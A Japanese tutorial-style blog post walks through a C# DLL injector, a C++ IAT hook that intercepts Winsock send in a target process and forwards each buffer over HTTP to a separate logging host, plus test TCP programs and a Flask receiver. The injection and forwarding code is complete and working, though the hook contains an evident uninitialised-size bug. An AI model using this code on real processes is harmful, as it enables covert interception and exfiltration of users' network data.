フック

IATフックを用いてサーバーへデータを送信しログする簡易機能を追加する(Windows)

懐かしのWin32APIとインポートアドレステーブル(IAT)フックを用いて、簡易TCPプログラム(Windows C++ 32BIT)に通信内容をサーバーに送信しログする機能を追加する。

インポートアドレステーブル(IAT)

インポートアドレステーブル(IAT)とはDLLからインポートしている関数のアドレスが列挙されているテーブル。

Windowsで実行できるexeファイルのファーマットにはPEフォーマットという形式があり、
ロード時にメモリ上にヘッダ情報も展開され、このヘッダ情報からたどっていくことでIATを参照できる。

特定のプロセスのIATにあるターゲット関数Aのアドレスを独自の関数A_hookで書き換えることで、そのプロセスがAをコールしたときにA_hookのほうへ誘導できる。
A_hook内で元のAを呼ぶことで+αの機能追加としても利用できる。

今回はWS2_32.dllからインポートされる、通信機能を持つWin32APIの一つであるsendをフックし、別のサーバーに通信内容を転送する追加機能を持つ関数で置き換える。

DLLインジェクション

特定のプロセスのIATを書き換え別の関数A_hookへ誘導するには、そのプロセスのメモリ上にあるIATの書き換えに加え、誘導先の関数A_hookの実態がそのプロセスのメモリ上になけれならない。

この方法として、対象プロセス内に独自処理が含まれたDLLを読み込ませるDLLインジェクションという手法がある。
Win32APIを使用するDLLインジェクションの大まかな流れとしては

  1. VirtualAllocExで対象プロセスにインジェクトするDLLパスの文字列を書き込むためのメモリを確保
  2. WriteProcessMemoryでDLLパスを確保した対象プロセスのメモリに書き込み
  3. GetProcAddressでLoadAlibraryAのアドレスを取得
  4. CreateRemoteThreadで、書き込んだDLLパスアドレスを引数としてLoadLibraryAを対象プロセス内で実行

1. DLLインジェクションプログラム

DLLを対象プロセスにインジェクトするプログラムを作成する。
GUIベースで簡単に作るため、.net framework C#のフォームアプリケーションとして作成する。

  • 完成形

image.png

以下のように記述することで、C#からWin32APIを直接使用できる。

[DllImport("Kernel32.dll")]
extern static IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, AllocationType flAllocationType, MemoryProtection flProtect);
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.Diagnostics;

namespace DLLInjector3
{
    public partial class Form1 : Form
    {

        private string targetProcessName;
        private System.Diagnostics.Process[] targetProcesses;
        private IntPtr targetProcessHandle, kernel32Handle, dllpathRemoteAddr, loadLibraryAddr;

        public Form1()
        {
            InitializeComponent();
            listBox1.Items.Clear();
            updateProcessList();
        }

        private void Form1_Load(object sender, EventArgs e)
        {

        }

        // 「インジェクトするDLL」ボタンクリック時の処理
        private void button1_Click(object sender, EventArgs e)
        {
            openFileDialog1.Filter = "DLLファイル(*.dll)|*.dll";
            // ファイル選択ダイアログ表示
            if (openFileDialog1.ShowDialog() == System.Windows.Forms.DialogResult.OK)
            {
                textBox1.Text = openFileDialog1.FileName;
            }
        }

        // 「インジェクト」ボタンクリック時の処理
        private void button2_Click(object sender, EventArgs e)
        {
            if (listBox1.SelectedIndex < 0)
            {
                MessageBox.Show("プロセスを選択してください");
                return;
            }
            if (textBox1.Text == "")
            {
                MessageBox.Show("インジェクトするDLLを選択してください");
                return;
            }
            targetProcessName = listBox1.SelectedItem.ToString();
            targetProcesses = System.Diagnostics.Process.GetProcessesByName(targetProcessName);

            MessageBox.Show("targetProcessName = " + targetProcessName);


            MessageBox.Show("PID = " + targetProcesses[0].Id.ToString());
            targetProcessHandle = OpenProcess(DesiredAccess.PROCESS_ALL_ACCESS/*DesiredAccess.PROCESS_CREATE_THREAD | DesiredAccess.PROCESS_QUERY_INFORMATION | DesiredAccess.PROCESS_VM_OPERATION | DesiredAccess.PROCESS_VM_WRITE*/, false, (uint)targetProcesses[0].Id);
            if (targetProcessHandle == (IntPtr)null)
            {
                MessageBox.Show("OpenProcess() failed");
                return;
            }

            MessageBox.Show("targetProcessHandle = " + targetProcessHandle.ToString());

            String dllpath = textBox1.Text;
            uint dllpathLength = (uint)Encoding.GetEncoding("UTF-8").GetByteCount(dllpath);
            dllpathRemoteAddr = VirtualAllocEx(targetProcessHandle, (IntPtr)null, dllpathLength + 1, AllocationType.MEM_COMMIT, MemoryProtection.PAGE_EXECUTE_READWRITE);
            if (dllpathRemoteAddr == (IntPtr)null)
            {
                MessageBox.Show("VirtualAllocEx() failed()");
                CloseHandle(targetProcessHandle);
                return;
            }
            MessageBox.Show("remoteDllpathAddr = " + dllpathRemoteAddr.ToString());

            WriteProcessMemory(targetProcessHandle, dllpathRemoteAddr, dllpath, dllpathLength + 1, (IntPtr)null);

            kernel32Handle = LoadLibrary("kernel32.dll");
            loadLibraryAddr = GetProcAddress(kernel32Handle, "LoadLibraryA");
            if (loadLibraryAddr == (IntPtr)null)
            {
                MessageBox.Show("GetProcAddress() failed()");
                CloseHandle(targetProcessHandle);
                return;
            }
            MessageBox.Show("loadLibraryAddr = " + loadLibraryAddr.ToString());

            IntPtr retval;
            retval = CreateRemoteThread(targetProcessHandle, (IntPtr)null, 0, loadLibraryAddr, dllpathRemoteAddr, 0, (IntPtr)null);
            if (retval == (IntPtr)null)
            {
                MessageBox.Show("CreateRemoteThread() failed");
                VirtualFreeEx(targetProcessHandle, dllpathRemoteAddr, (uint)(dllpath.Length + 1), FreeType.MEM_RELEASE);
                CloseHandle(targetProcessHandle);
                return;
            }

            MessageBox.Show("CreateRemoteThread retval = " + retval.ToString());

            VirtualFreeEx(targetProcessHandle, dllpathRemoteAddr, (uint)(dllpath.Length + 1), FreeType.MEM_RELEASE);
            CloseHandle(targetProcessHandle);
        }

        // 「プロセス一覧更新」ボタンクリック時の処理
        private void button3_Click(object sender, EventArgs e)
        {
            updateProcessList();
        }

        // プロセス一覧をリストボックスに表示する。
        private void updateProcessList()
        {
            Process[] processes = Process.GetProcesses();
            listBox1.Items.Clear();
            foreach (Process ps in processes)
            {
                listBox1.Items.Add(ps.ProcessName.ToString());
            }
        }

        [Flags]
        enum AllocationType
        {
            MEM_COMMIT = 0x1000,
            MEM_RESERVE = 0x2000,
        }

        [Flags]
        enum MemoryProtection
        {
            PAGE_EXECUTE_READWRITE = 0x40,
        }

        [Flags]
        enum FreeType
        {
            MEM_RELEASE = 0x8000,
        }

        [Flags]
        enum DesiredAccess
        {
            PROCESS_ALL_ACCESS = 0x1fffff,
            PROCESS_QUERY_INFORMATION = 0x400,
            PROCESS_CREATE_THREAD = 0x2,
            PROCESS_VM_OPERATION = 0x8,
            PROCESS_VM_WRITE = 0x20,
        }

        // Win32APIをインポート
        [DllImport("Kernel32.dll")]
        extern static IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, AllocationType flAllocationType, MemoryProtection flProtect);

        [DllImport("Kernel32.dll")]
        extern static bool VirtualFreeEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, FreeType dwFreeType);

        [DllImport("Kernel32.dll")]
        extern static IntPtr OpenProcess(DesiredAccess dwDesiredAccess, bool bInheritHandle, uint dwProcessId);

        [DllImport("Kernel32.dll")]
        extern static bool CloseHandle(IntPtr handle);

        [DllImport("kernel32.dll")]
        extern static bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, String lpBuffer, uint nSize, IntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll")]
        extern static IntPtr LoadLibrary(String lpFileName);

        [DllImport("kernel32.dll")]
        extern static IntPtr GetProcAddress(IntPtr hModule, String lpProcName);

        [DllImport("kernel32.dll")]
        extern static IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
    }
}

2. インジェクトされるDLL

ターゲットプロセスにインジェクトされるDLLを作成する。
このDLLのやることは、DLLが対象プロセスにアタッチされた時に、ターゲットプロセスのIATからsendを探し、誘導先の独自関数hookSendProcのアドレスで書き換える。

IAT書き換えクラス

IATHooker.h
#include <windows.h>
#include <string>
#include <vector>
#include <iostream>
#include <iomanip>
#include <tchar.h>
#pragma comment(lib, "user32.lib")
using namespace std;

typedef int (__stdcall *OrgSend)(SOCKET, const char *, int, int);
typedef int (__stdcall *OrgRecv)(SOCKET, char *buf, int, int);

typedef struct {
    string    symbolName;
    BYTE*    address;
    BYTE*    addressInIAT;
    DWORD    ordinal;
} SYMBOLINFO, *PSYMBOLINFO;

typedef struct {
    string dllName;
    vector<SYMBOLINFO> symbolInfo;
} IMPORTDLLINFO, *PIMPORTDLLINFO;

class IATHooker {

private:
    vector<IMPORTDLLINFO> mImportDllInfo;
    BYTE* mBaseAddr;
    IMAGE_DOS_HEADER *mpImageDosHeader;
    IMAGE_NT_HEADERS *mpImageNtHeader;
    IMAGE_FILE_HEADER *mpImageFileHeader;
    IMAGE_OPTIONAL_HEADER *mpImageOptionalHeader;
    IMAGE_SECTION_HEADER *mpImageSectionHeader;
    IMAGE_DATA_DIRECTORY *mpImageDataDirectory;
    IMAGE_IMPORT_DESCRIPTOR *mpImageImportDescriptor;

public:
    IATHooker();
    virtual ~IATHooker();
    void analyzeIAT();
    DWORD hookBySymbol(string dllname, string symbol, DWORD hookProc);
    DWORD hookByOrdinal(string dllname, DWORD ordinal, DWORD hookProc);
    void showImportInfo();
    SYMBOLINFO* findSymbol(string dllname, string symbol);
    SYMBOLINFO* findOrdinal(string dllname, DWORD ordinal);
    bool rewriteIAT(DWORD addr, DWORD hookProc);

};
IATHooker.cpp
#include "IATHooker.h"

IATHooker::IATHooker()
{
    mBaseAddr = (BYTE *)GetModuleHandle(NULL);
    if (mBaseAddr == NULL)
    {
        MessageBox(NULL, "GetModuleHandle() failed", "", MB_OK);
        return;
    }
    mpImageDosHeader = (IMAGE_DOS_HEADER*)mBaseAddr;
    mpImageNtHeader = (IMAGE_NT_HEADERS*)(mBaseAddr + mpImageDosHeader->e_lfanew);
    mpImageFileHeader = (IMAGE_FILE_HEADER*)((BYTE*)mpImageNtHeader + sizeof(DWORD));
    mpImageOptionalHeader = (IMAGE_OPTIONAL_HEADER*)(mpImageFileHeader + 1);
    mpImageSectionHeader = (IMAGE_SECTION_HEADER*)(mpImageNtHeader + 1);
    mpImageDataDirectory = (IMAGE_DATA_DIRECTORY*)(mpImageOptionalHeader->DataDirectory);
    mpImageImportDescriptor = (IMAGE_IMPORT_DESCRIPTOR*)(mBaseAddr + mpImageDataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);

    analyzeIAT();

}

IATHooker::~IATHooker()
{

}

void IATHooker::analyzeIAT()
{
    IMAGE_IMPORT_DESCRIPTOR *piid;
    IMAGE_THUNK_DATA *pIAT;
    IMAGE_THUNK_DATA *pINT;
    piid = mpImageImportDescriptor;

    while(piid->Name)
    {

        IMPORTDLLINFO dllinfo;
        SYMBOLINFO symbolinfo;
        dllinfo.dllName = (LPSTR)(mBaseAddr + piid->Name);

        pIAT = (IMAGE_THUNK_DATA*)(mBaseAddr + piid->FirstThunk);
        pINT = (IMAGE_THUNK_DATA*)(mBaseAddr + piid->OriginalFirstThunk);

        while (pINT->u1.Function)
        {
            symbolinfo.address = (BYTE*)(pIAT->u1.Function);
            symbolinfo.addressInIAT = (BYTE*)(&pIAT->u1.Function);
            if ( pINT->u1.AddressOfData & 0x80000000 )
            {
                symbolinfo.ordinal = (DWORD)(pINT->u1.AddressOfData ^ 0x80000000);
            }
            else
            {
                symbolinfo.symbolName = (LPSTR)(((IMAGE_IMPORT_BY_NAME*)(mBaseAddr + pINT->u1.AddressOfData))->Name);
            }

            dllinfo.symbolInfo.push_back(symbolinfo);
            pIAT++;
            pINT++;
        }

        mImportDllInfo.push_back(dllinfo);
        piid++;
    }
}

void IATHooker::showImportInfo()
{
    cout << hex << showbase << uppercase;
    cout << "BASEADDR : " << (DWORD)mBaseAddr << endl;
    for (int i = 0; i < mImportDllInfo.size(); i++)
    {
        cout << mImportDllInfo[i].dllName << endl;

        for (int j = 0; j < mImportDllInfo[i].symbolInfo.size(); j++)
        {
            cout << setw(10) << left << " " << setw(16) << left  << (DWORD)mImportDllInfo[i].symbolInfo[j].address << setw(16) << left  << (DWORD)mImportDllInfo[i].symbolInfo[j].addressInIAT << setw(30) << left << mImportDllInfo[i].symbolInfo[j].symbolName << endl;
        }
    }
}

SYMBOLINFO* IATHooker::findSymbol(string dllname, string symbol)
{
    for (int i = 0; i < mImportDllInfo.size(); i++)
    {    
        if( mImportDllInfo[i].dllName != dllname)
        {
            continue;
        }
        for (int j = 0; j < mImportDllInfo[i].symbolInfo.size(); j++)
        {
            MessageBox(NULL, mImportDllInfo[i].symbolInfo[j].symbolName.c_str(), "", MB_OK);
            if (mImportDllInfo[i].symbolInfo[j].symbolName == symbol)
            {
                return &mImportDllInfo[i].symbolInfo[j];
            }
        }
    }
    return NULL;
}

SYMBOLINFO* IATHooker::findOrdinal(string dllname, DWORD ordinal)
{
    for (int i = 0; i < mImportDllInfo.size(); i++)
    {    
        if( mImportDllInfo[i].dllName != dllname)
        {
            continue;
        }
        for (int j = 0; j < mImportDllInfo[i].symbolInfo.size(); j++)
        {
            if (mImportDllInfo[i].symbolInfo[j].ordinal == ordinal)
            {
                return &mImportDllInfo[i].symbolInfo[j];
            }
        }
    }
    return NULL;
}

DWORD IATHooker::hookBySymbol(string dllname, string symbol, DWORD hookProc)
{
    SYMBOLINFO *si;
    DWORD dwOrgProc;

    si = findSymbol(dllname, symbol);
    if(si == NULL)
    {
        MessageBox(NULL, "Symbol not found.", "", MB_OK);
        return 0;
    }

    dwOrgProc = (DWORD)si->address;
    if(!rewriteIAT((DWORD)si->addressInIAT, hookProc))
    {
        MessageBox(NULL, "IATHooker::rewriteIAT() failed", "", MB_OK);
        return 0;
    }

    return dwOrgProc;
}

DWORD IATHooker::hookByOrdinal(string dllname, DWORD ordinal, DWORD hookProc)
{
    SYMBOLINFO *si;
    DWORD dwOrgProc;

    si = findOrdinal(dllname, ordinal);
    if(si == NULL)
    {
        MessageBox(NULL, "Ordinal not found.", "", MB_OK);
        return 0;
    }

    dwOrgProc = (DWORD)si->address;
    if(!rewriteIAT((DWORD)si->addressInIAT, hookProc))
    {
        MessageBox(NULL, "IATHooker::rewriteIAT() failed", "", MB_OK);
        return 0;
    }

    return dwOrgProc;
}

bool IATHooker::rewriteIAT(DWORD addr, DWORD newProc)
{
    DWORD dwOldProtect;

    VirtualProtect((LPVOID)addr, 4, PAGE_READWRITE, &dwOldProtect);
    *((DWORD*)addr) = newProc;
    VirtualProtect((LPVOID)addr, 4, dwOldProtect, &dwOldProtect);

    return true;
}

IATHookerを使用してsendを書き換えるdll

SendRecvHooker.cpp
#include <windows.h>
#include <stdlib.h>
#include <string>
#include <winhttp.h>
#include "IATHooker.h"
#pragma comment(lib, "winhttp.lib")

OrgSend orgSend;
OrgRecv orgRecv;

int __stdcall hookSendProc(SOCKET s, const char *buf, int len, int flags)
{
    size_t size;
    wstring url;
    vector<WCHAR> wbuf(size);
    HINTERNET hSession, hConnect, hRequest;
    URL_COMPONENTS uc;
    WCHAR szHostName[256], szUrlPath[2048];

    while(true)
    {
        mbstowcs_s(&size, NULL, 0, buf, 0);
        mbstowcs_s(&size, wbuf.data(), wbuf.size(), buf, strlen(buf));

        url = L"http://192.168.111.101/log?";
        url += L"senddata=";
        url += wbuf.data();

        hSession = WinHttpOpen(L"SendRecvHook", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
        if (hSession == NULL)
        {
            MessageBox(NULL, "WinHttpOpen() failed", "", MB_OK);
            break;
        }

        ZeroMemory(&uc, sizeof(URL_COMPONENTS));
        uc.dwStructSize            = sizeof(URL_COMPONENTS);
        uc.lpszHostName            = szHostName;
        uc.dwHostNameLength        = sizeof(szHostName) / sizeof(WCHAR);
        uc.lpszUrlPath            = szUrlPath;
        uc.dwUrlPathLength        = sizeof(szUrlPath) / sizeof(WCHAR);

        if (!WinHttpCrackUrl(url.data(), url.size(), 0, &uc))
        {
            WinHttpCloseHandle(hSession);
            MessageBox(NULL, "WinHttpCrackUrl() failed", "", MB_OK);
            break;
        }

        hConnect = WinHttpConnect(hSession, szHostName, 5000/*INTERNET_DEFAULT_PORT*/, 0);
        if (hConnect == NULL) 
        {
            WinHttpCloseHandle(hSession);
            MessageBox(NULL, "WinHttpConnect() failed", "", MB_OK);
            break;
        }

        hRequest = WinHttpOpenRequest(hConnect, L"GET", szUrlPath, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0);
        if (hRequest == NULL) 
        {
            WinHttpCloseHandle(hConnect);
            WinHttpCloseHandle(hSession);
            MessageBox(NULL, "WinHttpOpenRequest() failed", "", MB_OK);
            break;
        }

        if (!WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0))
        {
            WinHttpCloseHandle(hRequest);
            WinHttpCloseHandle(hConnect);
            WinHttpCloseHandle(hSession);
            MessageBox(NULL, "WinHttpSendRequest() failed", "", MB_OK);
            break;
        }

        WinHttpCloseHandle(hRequest);
        WinHttpCloseHandle(hConnect);
        WinHttpCloseHandle(hSession);
        break;
    }
    MessageBox(NULL, buf, "Send is called", MB_OK);

    return (*orgSend)(s,buf,len,flags);
}

int __stdcall hookRecvProc(SOCKET s, char *buf, int len, int flags)
{
    MessageBox(NULL, buf, "Recv is called", MB_OK);

    return (*orgRecv)(s, buf, len, flags);
}


BOOL WINAPI DllMain(HINSTANCE hModule, DWORD dwReason, LPVOID)
{
    IATHooker srh;

    switch (dwReason)
    {
    case DLL_PROCESS_ATTACH:
        MessageBox(NULL, "DLL injected.", "", MB_OK);
        orgSend = (OrgSend)srh.hookByOrdinal("WS2_32.dll", 19, (DWORD)hookSendProc);
        //orgSend = (OrgSend)srh.hookBySymbol("WS2_32.dll", "send", (DWORD)hookSendProc);  // ※名前(symbol)の情報が入っていないので序数(ordinal)からしか取得できない。
        //orgRecv = (OrgRecv)srh.hookByOrdinal("WS2_32.dll", 16, (DWORD)hookRecvProc);
        break;
    }

    return TRUE;
}

関数名等シンボル情報はシンボルテーブルにあるが、関数名が含まれていない場合もあり、その場合は序数(ordinal)から探す。
序数は、コマンドプロンプトから以下コマンドで確認できる。(sendの場合は19)

>dumpbin /EXPORTS "C:\Windows\System32\WS2_32.dll" | findstr send
         19   BE 0000BA40 send
         20   BF 0000F0B0 sendto

3. ターゲットプロセス

https://www.katto.comm.waseda.ac.jp/~katto/Class/GazoTokuron/code/socket.html
あたりを参考に、機能追加する適当な簡易TCPサーバーとsendを使用したTCPクライアントターゲットプログラムを作成する。

TCPサーバー

TargetTcpServer.cpp
#include <stdio.h>
#include <winsock2.h>
#include <ws2tcpip.h>

#pragma comment(lib, "ws2_32.lib")

#define BUFFER_SIZE 256

int
main() {
  /* ポート番号、ソケット */
  unsigned short port = 9876;
  int srcSocket;  // 自分
  int dstSocket;  // 相手

  /* sockaddr_in 構造体 */
  struct sockaddr_in srcAddr;
  struct sockaddr_in dstAddr;
  int dstAddrSize = sizeof(dstAddr);

  /* 各種パラメータ */
  int numrcv;
  char buffer[BUFFER_SIZE];

  /************************************************************/
  /* Windows 独自の設定 */
  WSADATA data;
  WSAStartup(MAKEWORD(2,0), &data); 

  /* sockaddr_in 構造体のセット */
  memset(&srcAddr, 0, sizeof(srcAddr));
  srcAddr.sin_port = htons(port);
  srcAddr.sin_family = AF_INET;
  srcAddr.sin_addr.s_addr = htonl(INADDR_ANY);

  /* ソケットの生成 */
  srcSocket = socket(AF_INET, SOCK_STREAM, 0);

  /* ソケットのバインド */
  bind(srcSocket, (struct sockaddr *) &srcAddr, sizeof(srcAddr));

  /* 接続の許可 */
  listen(srcSocket, 1);

  /* 接続の受付け */
  printf("Waiting for connection ...\n");
  dstSocket = accept(srcSocket, (struct sockaddr *) &dstAddr, &dstAddrSize);
  printf("Connected from %s\n", inet_ntoa(dstAddr.sin_addr));

  /* パケット受信 */
  while(1) {
    numrcv = recv(dstSocket, buffer, BUFFER_SIZE, 0); 
    if(numrcv == 0 || numrcv == -1) {
      //status = closesocket(dstSocket); break;
      closesocket(dstSocket); break;
    }
    printf("received: %s\n", buffer);
  }

  /* Windows 独自の設定 */
  WSACleanup();
}
#include <stdio.h>
#include <winsock2.h>
#include <ws2tcpip.h>

#pragma comment(lib, "ws2_32.lib")

int
main() {
  /* IP アドレス、ポート番号、ソケット */
  char destination[80];
  unsigned short port = 9876;
  int dstSocket;

  /* sockaddr_in 構造体 */
  struct sockaddr_in dstAddr;

  /* 各種パラメータ */
  int status;
  int numsnt;
  //char *toSendText = "test";
  char toSendText[256];

  /************************************************************/

  /* Windows 独自の設定 */
  WSADATA data;
  WSAStartup(MAKEWORD(2,0), &data);

  /* 相手先アドレスの入力 */
  printf("Connect to ? : (name or IP address) ");
  scanf("%s", destination);

  /* sockaddr_in 構造体のセット */
  memset(&dstAddr, 0, sizeof(dstAddr));
  dstAddr.sin_port = htons(port);
  dstAddr.sin_family = AF_INET;
  dstAddr.sin_addr.s_addr = inet_addr(destination);

  /* ソケット生成 */
  dstSocket = socket(AF_INET, SOCK_STREAM, 0);

  /* 接続 */
  printf("Trying to connect to %s: \n", destination);
  connect(dstSocket, (struct sockaddr *) &dstAddr, sizeof(dstAddr));

  /* パケット送出 */
  while (1) {
    printf("Input senddata >\n");
    if (fgets(toSendText, 256, stdin) == NULL) {
        break;
    }
    printf("sending...\n");
    send(dstSocket, toSendText, strlen(toSendText)+1, 0);
    //Sleep(1000);
    //getchar();
  }

  /* Windows 独自の設定 */
  closesocket(dstSocket);
  WSACleanup();
}

4. データを受け取りログするサーバーを立てる。

Webフレームワークのflaskを用いて、送られてきたデータをprintするだけの簡易サーバーをpythonでたてる。

$ pip install flask
logger_server.py
from flask import Flask, request, Response
app = Flask(__name__)

@app.route('/log')
def log():
    senddata = request.args.get('senddata')
    print('{} : {}'.format(request.remote_addr, senddata))
    res = Response()
    res.status_code = 200
    return res

if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0')
$ python logger_server.py

 5. 検証

  1. TCPサーバーとTCPクライアントを実行しお互いにconnectする。
>TargetTcpClient
Connect to ? : (name or IP address) 127.0.0.1
Trying to connect to 127.0.0.1:
Input senddata >
>TargetTcpServer
Waiting for connection ...
Connected from 127.0.0.1
  1. DLLインジェクションプログラムでSendRecvHooker.dllをTCPクライアントへインジェクトする。

image.png

image.png

  1. TCPクライアントから適当な文字列を送信してみる。
>TargetTcpClient
Connect to ? : (name or IP address) 127.0.0.1
Trying to connect to 127.0.0.1:
Input senddata >
sending...
Input senddata >
test1
sending...

ログサーバー

無題.png

差し替えた独自のhook_send_procが呼ばれログサーバーにも通信内容が転送されていることが確認できる。